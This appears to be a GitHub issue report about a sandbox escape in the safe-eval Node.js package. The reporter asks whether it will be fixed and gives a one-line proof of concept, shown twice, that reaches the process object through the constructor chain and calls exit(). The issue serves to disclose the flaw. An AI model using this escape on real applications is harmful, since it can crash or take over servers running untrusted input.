safe-eval Sandbox Escaping #51
Description
Is this going to be fixed? It is easy for people to exploit this with:
var safeEval = require('safe-eval');
safeEval("this.constructor.constructor('return process')().exit()");
{{ message }}
Is this going to be fixed? It is easy for people to exploit this with:
var safeEval = require('safe-eval');
safeEval("this.constructor.constructor('return process')().exit()");